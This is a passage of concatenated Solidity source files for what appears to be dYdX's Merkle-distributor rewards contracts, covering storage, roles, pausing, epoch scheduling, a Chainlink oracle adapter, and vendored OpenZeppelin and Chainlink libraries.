return _CLAIMED_[user];
}
/**
* @notice Check whether the user opted into allowing anyone to trigger a claim on their behalf.
*
* @param user The address of the user.
*
* @return Boolean `true` if any address may trigger claims for the user, otherwise `false`.
*/
function getAlwaysAllowClaimsFor(address user)
external
view
returns (bool)
{
return _ALWAYS_ALLOW_CLAIMS_FOR_[user];
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import { IERC20 } from '../../interfaces/IERC20.sol';
import { SafeMath } from './SafeMath.sol';
import { Address } from './Address.sol';
/**
* @title SafeERC20
* @dev From https://github.com/OpenZeppelin/openzeppelin-contracts
* Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
'SafeERC20: approve from non-zero to non-zero allowance'
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), 'SafeERC20: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, 'SafeERC20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed');
}
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
library MD1Types {
/**
* @dev The parameters used to convert a timestamp to an epoch number.
*/
struct EpochParameters {
uint128 interval;
uint128 offset;
}
/**
* @dev The parameters related to a certain version of the Merkle root.
*/
struct MerkleRoot {
bytes32 merkleRoot;
uint256 epoch;
bytes ipfsCid;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { MD1Storage } from './MD1Storage.sol';
/**
* @title MD1Roles
* @author dYdX
*
* @notice Defines roles used in the MerkleDistributorV1 contract. The hierarchy of roles and
* powers of each role are described below.
*
* Roles:
*
* OWNER_ROLE
* | -> May add or remove addresses from any of the below roles it manages.
* | -> May update the rewards oracle address.
* | -> May update the IPNS name.
* |
* +-- CONFIG_UPDATER_ROLE
* | -> May update parameters affecting the formulae used to calculate rewards.
* | -> May update the epoch schedule.
* | -> May update the IPFS update period.
* |
* +-- PAUSER_ROLE
* | -> May pause updates to the Merkle root.
* |
* +-- UNPAUSER_ROLE
* | -> May unpause updates to the Merkle root.
* |
* +-- CLAIM_OPERATOR_ROLE
* -> May trigger a claim on behalf of a user (but the recipient is always the user).
*/
abstract contract MD1Roles is
MD1Storage
{
bytes32 public constant OWNER_ROLE = keccak256('OWNER_ROLE');
bytes32 public constant CONFIG_UPDATER_ROLE = keccak256('CONFIG_UPDATER_ROLE');
bytes32 public constant PAUSER_ROLE = keccak256('PAUSER_ROLE');
bytes32 public constant UNPAUSER_ROLE = keccak256('UNPAUSER_ROLE');
bytes32 public constant CLAIM_OPERATOR_ROLE = keccak256('CLAIM_OPERATOR_ROLE');
function __MD1Roles_init()
internal
{
// Assign the OWNER_ROLE to the sender.
_setupRole(OWNER_ROLE, msg.sender);
// Set OWNER_ROLE as the admin of all roles.
_setRoleAdmin(OWNER_ROLE, OWNER_ROLE);
_setRoleAdmin(CONFIG_UPDATER_ROLE, OWNER_ROLE);
_setRoleAdmin(PAUSER_ROLE, OWNER_ROLE);
_setRoleAdmin(UNPAUSER_ROLE, OWNER_ROLE);
_setRoleAdmin(CLAIM_OPERATOR_ROLE, OWNER_ROLE);
}
}
pragma solidity 0.7.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import {
AccessControlUpgradeable
} from '../../../dependencies/open-zeppelin/AccessControlUpgradeable.sol';
import { IERC20 } from '../../../interfaces/IERC20.sol';
import { IRewardsOracle } from '../../../interfaces/IRewardsOracle.sol';
import { ReentrancyGuard } from '../../../utils/ReentrancyGuard.sol';
import { VersionedInitializable } from '../../../utils/VersionedInitializable.sol';
import { MD1Types } from '../lib/MD1Types.sol';
/**
* @title MD1Storage
* @author dYdX
*
* @dev Storage contract. Contains or inherits from all contract with storage.
*/
abstract contract MD1Storage is
AccessControlUpgradeable,
ReentrancyGuard,
VersionedInitializable
{
// ============ Configuration ============
/// @dev The oracle which provides Merkle root updates.
IRewardsOracle internal _REWARDS_ORACLE_;
/// @dev The IPNS name to which trader and market maker exchange statistics are published.
string internal _IPNS_NAME_;
/// @dev Period of time after the epoch end after which the new epoch exchange statistics should
/// be available on IPFS via the IPNS name. This can be used as a trigger for “keepers” who are
/// incentivized to call the proposeRoot() and updateRoot() functions as needed.
uint256 internal _IPFS_UPDATE_PERIOD_;
/// @dev Max rewards distributed per epoch as market maker incentives.
uint256 internal _MARKET_MAKER_REWARDS_AMOUNT_;
/// @dev Max rewards distributed per epoch as trader incentives.
uint256 internal _TRADER_REWARDS_AMOUNT_;
/// @dev Parameter affecting the calculation of trader rewards. This is a value
/// between 0 and 1, represented here in units out of 10^18.
uint256 internal _TRADER_SCORE_ALPHA_;
// ============ Epoch Schedule ============
/// @dev The parameters specifying the function from timestamp to epoch number.
MD1Types.EpochParameters internal _EPOCH_PARAMETERS_;
// ============ Root Updates ============
/// @dev The active Merkle root and associated parameters.
MD1Types.MerkleRoot internal _ACTIVE_ROOT_;
/// @dev The proposed Merkle root and associated parameters.
MD1Types.MerkleRoot internal _PROPOSED_ROOT_;
/// @dev The time at which the proposed root may become active.
uint256 internal _WAITING_PERIOD_END_;
/// @dev Whether root updates are currently paused.
bool internal _ARE_ROOT_UPDATES_PAUSED_;
// ============ Claims ============
/// @dev Mapping of (user address) => (number of tokens claimed).
mapping(address => uint256) internal _CLAIMED_;
/// @dev Whether the user has opted into allowing anyone to trigger a claim on their behalf.
mapping(address => bool) internal _ALWAYS_ALLOW_CLAIMS_FOR_;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import './Context.sol';
import './Strings.sol';
import './ERC165.sol';
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Context, IAccessControlUpgradeable, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(
bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole
);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return
interfaceId == type(IAccessControlUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
'AccessControl: account ',
Strings.toHexString(uint160(account), 20),
' is missing role ',
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account)
public
virtual
override
onlyRole(getRoleAdmin(role))
{
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account)
public
virtual
override
onlyRole(getRoleAdmin(role))
{
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), 'AccessControl: can only renounce roles for self');
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
/**
* @title ReentrancyGuard
* @author dYdX
*
* @dev Updated ReentrancyGuard library designed to be used with Proxy Contracts.
*/
abstract contract ReentrancyGuard {
uint256 private constant NOT_ENTERED = 1;
uint256 private constant ENTERED = uint256(int256(-1));
uint256 private _STATUS_;
constructor() internal {
_STATUS_ = NOT_ENTERED;
}
modifier nonReentrant() {
require(_STATUS_ != ENTERED, 'ReentrancyGuard: reentrant call');
_STATUS_ = ENTERED;
_;
_STATUS_ = NOT_ENTERED;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
/**
* @title VersionedInitializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*
* @author dYdX, inspired by the OpenZeppelin Initializable contract
*/
abstract contract VersionedInitializable {
/**
* @dev Indicates that the contract has been initialized.
*/
uint256 internal lastInitializedRevision = 0;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
uint256 revision = getRevision();
require(revision > lastInitializedRevision, "Contract instance has already been initialized");
lastInitializedRevision = revision;
_;
}
/// @dev returns the revision number of the contract.
/// Needs to be defined in the inherited class as a constant.
function getRevision() internal pure virtual returns(uint256);
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { MD1Roles } from './MD1Roles.sol';
/**
* @title MD1Pausable
* @author dYdX
*
* @notice Allows authorized addresses to pause updates to the Merkle root.
*
* For the Merkle root to be updated, the root must first be set on the oracle contract, then
* proposed on this contract, at which point the waiting period begins. During the waiting period,
* the root should be verified, and updates should be paused by the PAUSER_ROLE if the root is
* found to be incorrect.
*/
abstract contract MD1Pausable is
MD1Roles
{
// ============ Events ============
/// @notice Emitted when root updates are paused.
event RootUpdatesPaused();
/// @notice Emitted when root updates are unpaused.
event RootUpdatesUnpaused();
// ============ Modifiers ============
/**
* @dev Enforce that a function may be called only while root updates are not paused.
*/
modifier whenNotPaused() {
require(!_ARE_ROOT_UPDATES_PAUSED_, 'MD1Pausable: Updates paused');
_;
}
/**
* @dev Enforce that a function may be called only while root updates are paused.
*/
modifier whenPaused() {
require(_ARE_ROOT_UPDATES_PAUSED_, 'MD1Pausable: Updates not paused');
_;
}
// ============ External Functions ============
/**
* @dev Called by PAUSER_ROLE to prevent proposed Merkle roots from becoming active.
*/
function pauseRootUpdates()
onlyRole(PAUSER_ROLE)
whenNotPaused
nonReentrant
external
{
_ARE_ROOT_UPDATES_PAUSED_ = true;
emit RootUpdatesPaused();
}
/**
* @dev Called by UNPAUSER_ROLE to resume allowing proposed Merkle roots to become active.
*/
function unpauseRootUpdates()
onlyRole(UNPAUSER_ROLE)
whenPaused
nonReentrant
external
{
_ARE_ROOT_UPDATES_PAUSED_ = false;
emit RootUpdatesUnpaused();
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { MD1Types } from '../lib/MD1Types.sol';
import { SafeCast } from '../lib/SafeCast.sol';
import { MD1Storage } from './MD1Storage.sol';
/**
* @title MD1EpochSchedule
* @author dYdX
*
* @dev Defines a function from block timestamp to epoch number.
*
* Note that the current and IPFS epoch numbers are made available externally but are not used
* internally within this contract.
*
* The formula used is `n = floor((t - b) / a)` where:
* - `n` is the epoch number
* - `t` is the timestamp (in seconds)
* - `b` is a non-negative offset, indicating the start of epoch zero (in seconds)
* - `a` is the length of an epoch, a.k.a. the interval (in seconds)
*/
abstract contract MD1EpochSchedule is
MD1Storage
{
using SafeCast for uint256;
using SafeMath for uint256;
// ============ Events ============
event EpochScheduleUpdated(
MD1Types.EpochParameters epochParameters
);
// ============ Initializer ============
function __MD1EpochSchedule_init(
uint256 interval,
uint256 offset
)
internal
{
_setEpochParameters(interval, offset);
}
// ============ External Functions ============
/**
* @notice Get the epoch at the current block timestamp.
*
* Reverts if epoch zero has not started.
*
* @return The current epoch number.
*/
function getCurrentEpoch()
external
view
returns (uint256)
{
return _getEpochAtTimestamp(
block.timestamp,
'MD1EpochSchedule: Epoch zero has not started'
);
}
/**
* @notice Get the latest epoch number for which we expect to have data available on IPFS.
* This is equal to the current epoch number, delayed by the IPFS update period.
*
* Reverts if epoch zero did not begin at least `_IPFS_UPDATE_PERIOD_` seconds ago.
*
* @return The latest epoch number for which we expect to have data available on IPFS.
*/
function getIpfsEpoch()
external
view
returns (uint256)
{
return _getEpochAtTimestamp(
block.timestamp.sub(_IPFS_UPDATE_PERIOD_),
'MD1EpochSchedule: IPFS epoch zero has not started'
);
}
// ============ Internal Functions ============
function _getEpochAtTimestamp(
uint256 timestamp,
string memory revertReason
)
internal
view
returns (uint256)
{
MD1Types.EpochParameters memory epochParameters = _EPOCH_PARAMETERS_;
uint256 interval = uint256(epochParameters.interval);
uint256 offset = uint256(epochParameters.offset);
require(timestamp >= offset, revertReason);
return timestamp.sub(offset).div(interval);
}
function _setEpochParameters(
uint256 interval,
uint256 offset
)
internal
{
require(interval != 0, 'MD1EpochSchedule: Interval cannot be zero');
MD1Types.EpochParameters memory epochParameters = MD1Types.EpochParameters({
interval: interval.toUint128(),
offset: offset.toUint128()
});
_EPOCH_PARAMETERS_ = epochParameters;
emit EpochScheduleUpdated(epochParameters);
}
}
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
/**
* @dev Methods for downcasting unsigned integers, reverting on overflow.
*/
library SafeCast {
/**
* @dev Downcast to a uint128, reverting on overflow.
*/
function toUint128(uint256 a) internal pure returns (uint128) {
uint128 b = uint128(a);
require(uint256(b) == a, 'SafeCast: toUint128 overflow');
return b;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
import {
ChainlinkClient,
Chainlink
} from '@chainlink/contracts/src/v0.7/ChainlinkClient.sol';
import { SafeERC20 } from '../../../dependencies/open-zeppelin/SafeERC20.sol';
import { IERC20 } from '../../../interfaces/IERC20.sol';
import { IMerkleDistributorV1 } from '../../../interfaces/IMerkleDistributorV1.sol';
import { IRewardsOracle } from '../../../interfaces/IRewardsOracle.sol';
import { MD1Types } from '../lib/MD1Types.sol';
/**
* @title MD1ChainlinkAdapter
* @author dYdX
*
* @notice Chainlink oracle adapter to be read by the MerkleDistributorV1 contract.
*/
contract MD1ChainlinkAdapter is
ChainlinkClient,
IRewardsOracle
{
using Chainlink for Chainlink.Request;
using SafeERC20 for IERC20;
// ============ Events ============
/// @notice Emitted when the oracle data is updated.
event OracleRootUpdated(
bytes32 merkleRoot,
uint256 epoch,
bytes ipfsCid
);
// ============ Constants ============
/// @notice Address of the LINK token, used to pay for requests for oracle data.
IERC20 public immutable CHAINLINK_TOKEN;
/// @notice The address of the Merkle distributor contract, which determines rewards parameters.
IMerkleDistributorV1 public immutable MERKLE_DISTRIBUTOR;
/// @notice The address to which the Chainlink request is sent.
address public immutable ORACLE_CONTRACT;
/// @notice The address which will call writeOracleData().
address public immutable ORACLE_EXTERNAL_ADAPTER;
/// @notice Chainlink ID for the job.
bytes32 public immutable JOB_ID;
// ============ Storage ============
/// @dev Mapping from Chainlink request ID to the address that initated the request.
mapping(bytes32 => address) internal _OPEN_REQUESTS_;
/// @dev The latest oracle data.
MD1Types.MerkleRoot internal _ORACLE_ROOT_;
// ============ Constructor ============
constructor(
address chainlinkToken,
address merkleDistributor,
address oracleContract,
address oracleExternalAdapter,
bytes32 jobId
) {
setChainlinkToken(chainlinkToken);
CHAINLINK_TOKEN = IERC20(chainlinkToken);
MERKLE_DISTRIBUTOR = IMerkleDistributorV1(merkleDistributor);
ORACLE_CONTRACT = oracleContract;
ORACLE_EXTERNAL_ADAPTER = oracleExternalAdapter;
JOB_ID = jobId;
}
// ============ External Functions ============
/**
* @notice Helper function which transfers the fee and makes a request in a single transaction.
*
* @param fee The LINK amount to pay for the request.
*/
function transferAndRequestOracleData(
uint256 fee
)
external
{
CHAINLINK_TOKEN.safeTransferFrom(msg.sender, address(this), fee);
requestOracleData(fee);
}
/**
* @notice Called by the oracle external adapter to write data in response to a request.
*
* This should be called before fulfillRequest() is called.
*
* @param merkleRoot Root hash of the Merkle tree for this epoch's rewards distribution.
* @param epoch The epoch number for this rewards distribution.
* @param ipfsCid The IPFS CID with the full Merkle tree data.
*/
function writeOracleData(
bytes32 merkleRoot,
uint256 epoch,
bytes calldata ipfsCid
)
external
{
require(
msg.sender == ORACLE_EXTERNAL_ADAPTER,
'MD1ChainlinkAdapter: Sender must be the oracle external adapter'
);
_ORACLE_ROOT_ = MD1Types.MerkleRoot({
merkleRoot: merkleRoot,
epoch: epoch,
ipfsCid: ipfsCid
});
emit OracleRootUpdated(merkleRoot, epoch, ipfsCid);
}
/**
* @notice Callback function for the oracle to record fulfillment of a request.
*/
function fulfillRequest(
bytes32 requestId
)
external
recordChainlinkFulfillment(requestId)
{
delete _OPEN_REQUESTS_[requestId];
}
/**
* @notice Allow the initiator of a request to cancel that request. The request must have expired.
*
* The LINK fee for the request will be refunded back to this contract.
*/
function cancelRequest(
bytes32 requestId,
uint256 payment,
bytes4 callbackFunc,
uint256 expiration
)
external
{
require(
msg.sender == _OPEN_REQUESTS_[requestId],
'Request is not open or sender was not the initiator'
);
cancelChainlinkRequest(requestId, payment, callbackFunc, expiration);
}
/**
* @notice Read the latest data written by the oracle. This will be called by MerkleDistributorV1.
*
* @return merkleRoot The Merkle root for the next Merkle distributor update.
* @return epoch The epoch number corresponding to the new Merkle root.
* @return ipfsCid An IPFS CID pointing to the Merkle tree data.
*/
function read()
external
override
view
returns (bytes32 merkleRoot, uint256 epoch, bytes memory ipfsCid)
{
merkleRoot = _ORACLE_ROOT_.merkleRoot;
epoch = _ORACLE_ROOT_.epoch;
ipfsCid = _ORACLE_ROOT_.ipfsCid;
}
/**
* @notice If a request with the specified ID is open, returns the address that initiated it.
*
* @param requestId The Chainlink request ID.
*
* @return The address that initiated request, or the zero address if the request is not open.
*/
function getOpenRequest(
bytes32 requestId
)
external
view
returns (address)
{
return _OPEN_REQUESTS_[requestId];
}
// ============ Public Functions ============
/**
* @notice Request the latest oracle data.
*
* In response to this request, if sufficient fee is provided, the Chainlink node is expected to
* call the writeOracleData() function, followed by the fulfillRequest() function.
*
* Reverts if this contract does not have LINK to pay the fee.
*
* If the fee is less than the amount agreed to by the external (off-chain) oracle adapter, then
* the external adapter may ignore the request.
*
* @param fee The LINK amount to pay for the request.
*/
function requestOracleData(
uint256 fee
)
public
{
// Read parameters from the Merkle distributor contract.
string memory ipnsName = MERKLE_DISTRIBUTOR.getIpnsName();
(
uint256 marketMakerRewardsAmount,
uint256 traderRewardsAmount,
uint256 traderScoreAlpha
) = MERKLE_DISTRIBUTOR.getRewardsParameters();
(, , bytes memory activeRootIpfsCid) = MERKLE_DISTRIBUTOR.getActiveRoot();
uint256 newEpoch = MERKLE_DISTRIBUTOR.getNextRootEpoch();
// Build the Chainlink request.
Chainlink.Request memory req = buildChainlinkRequest(
JOB_ID,
address(this),
this.fulfillRequest.selector
);
req.addBytes('callbackAddress', abi.encodePacked(address(this)));
req.add('ipnsName', ipnsName);
req.addUint('marketMakerRewardsAmount', marketMakerRewardsAmount);
req.addUint('traderRewardsAmount', traderRewardsAmount);
req.addUint('traderScoreAlpha', traderScoreAlpha);
req.addBytes('activeRootIpfsCid', activeRootIpfsCid);
req.addUint('newEpoch', newEpoch);
// Send the Chainlink request.
//
// Note: This emits ChainlinkRequested(bytes32 indexed id);
bytes32 requestId = sendChainlinkRequestTo(ORACLE_CONTRACT, req, fee);
// Store the address that initiated the request. This address may cancel the request.
_OPEN_REQUESTS_[requestId] = msg.sender;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./Chainlink.sol";
import "./interfaces/ENSInterface.sol";
import "./interfaces/LinkTokenInterface.sol";
import "./interfaces/OperatorInterface.sol";
import "./interfaces/PointerInterface.sol";
import { ENSResolver as ENSResolver_Chainlink } from "./vendor/ENSResolver.sol";
/**
* @title The ChainlinkClient contract
* @notice Contract writers can inherit this contract in order to create requests for the
* Chainlink network
*/
contract ChainlinkClient {
using Chainlink for Chainlink.Request;
uint256 constant internal LINK_DIVISIBILITY = 10**18;
uint256 constant private AMOUNT_OVERRIDE = 0;
address constant private SENDER_OVERRIDE = address(0);
uint256 constant private ORACLE_ARGS_VERSION = 1;
uint256 constant private OPERATOR_ARGS_VERSION = 2;
bytes32 constant private ENS_TOKEN_SUBNAME = keccak256("link");
bytes32 constant private ENS_ORACLE_SUBNAME = keccak256("oracle");
address constant private LINK_TOKEN_POINTER = 0xC89bD4E1632D3A43CB03AAAd5262cbe4038Bc571;
ENSInterface private ens;
bytes32 private ensNode;
LinkTokenInterface private link;
OperatorInterface private oracle;
uint256 private requestCount = 1;
mapping(bytes32 => address) private pendingRequests;
event ChainlinkRequested(
bytes32 indexed id
);
event ChainlinkFulfilled(
bytes32 indexed id
);
event ChainlinkCancelled(
bytes32 indexed id
);
/**
* @notice Creates a request that can hold additional parameters
* @param specId The Job Specification ID that the request will be created for
* @param callbackAddress The callback address that the response will be sent to
* @param callbackFunctionSignature The callback function signature to use for the callback address
* @return A Chainlink Request struct in memory
*/
function buildChainlinkRequest(
bytes32 specId,
address callbackAddress,
bytes4 callbackFunctionSignature
)
internal
pure
returns (
Chainlink.Request memory
)
{
Chainlink.Request memory req;
return req.initialize(specId, callbackAddress, callbackFunctionSignature);
}
/**
* @notice Creates a Chainlink request to the stored oracle address
* @dev Calls `chainlinkRequestTo` with the stored oracle address
* @param req The initialized Chainlink Request
* @param payment The amount of LINK to send for the request
* @return requestId The request ID
*/
function sendChainlinkRequest(
Chainlink.Request memory req,
uint256 payment
)
internal
returns (
bytes32
)
{
return sendChainlinkRequestTo(address(oracle), req, payment);
}
/**
* @notice Creates a Chainlink request to the specified oracle address
* @dev Generates and stores a request ID, increments the local nonce, and uses `transferAndCall` to
* send LINK which creates a request on the target oracle contract.
* Emits ChainlinkRequested event.
* @param oracleAddress The address of the oracle for the request
* @param req The initialized Chainlink Request
* @param payment The amount of LINK to send for the request
* @return requestId The request ID
*/
function sendChainlinkRequestTo(
address oracleAddress,
Chainlink.Request memory req,
uint256 payment
)
internal
returns (
bytes32 requestId
)
{
return rawRequest(oracleAddress, req, payment, ORACLE_ARGS_VERSION, oracle.oracleRequest.selector);
}
/**
* @notice Creates a Chainlink request to the stored oracle address
* @dev This function supports multi-word response
* @dev Calls `requestOracleDataFrom` with the stored oracle address
* @param req The initialized Chainlink Request
* @param payment The amount of LINK to send for the request
* @return requestId The request ID
*/
function requestOracleData(
Chainlink.Request memory req,
uint256 payment
)
internal
returns (
bytes32
)
{
return requestOracleDataFrom(address(oracle), req, payment);
}
/**
* @notice Creates a Chainlink request to the specified oracle address
* @dev This function supports multi-word response
* @dev Generates and stores a request ID, increments the local nonce, and uses `transferAndCall` to
* send LINK which creates a request on the target oracle contract.
* Emits ChainlinkRequested event.
* @param oracleAddress The address of the oracle for the request
* @param req The initialized Chainlink Request
* @param payment The amount of LINK to send for the request
